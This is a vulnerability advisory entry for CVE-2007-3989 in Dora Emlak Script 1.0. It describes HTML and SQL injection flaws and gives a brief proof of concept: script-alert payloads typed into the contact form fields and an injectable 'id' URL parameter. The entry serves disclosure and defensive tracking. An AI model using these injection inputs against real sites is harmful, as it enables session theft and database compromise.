Dora Emlak 1.0 Script - Multiple Input Validation Vulnerabilities

🗓️ 23 Jul 2007 00:00:00Reported by GeFORC3Type

Dora Emlak Script v1.0 Input-Validation Vulnerabilities - HTML and SQL Injectio

Reporter	Title	Published	Views	Family All 5
CVE	CVE-2007-3989	25 Jul 200718:00	–	cve
Cvelist	CVE-2007-3989	25 Jul 200718:00	–	cvelist
EUVD	EUVD-2007-3973	7 Oct 202500:30	–	euvd
NVD	CVE-2007-3989	25 Jul 200718:30	–	nvd
Prion	Cross site scripting	25 Jul 200718:30	–	prion

source: https://www.securityfocus.com/bid/25004/info

Dora Emlak Script is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, steal cookie-based authentication credentials, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dora Emlak Script v1.0 is vulnerable.

<html><head></head><body>1-http://www.example.com/dora/default.asp?goster=iletisim

You write xss code in  page's text box

Adý <script>alert("G3");</script>
Soyadý<script>alert("G3");</script>
Mail Adresiniz   <script>alert("G3");</script>
Konu     <script>alert("G3");</script>
Mesajý <script>alert("G3");</script>

Press to "gör"(send) button.

http://www.example.com//dora/default.asp?goster=emlakdetay&id= [SQL]
</body></html>

16 Dec 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 24.3

EPSS0.01495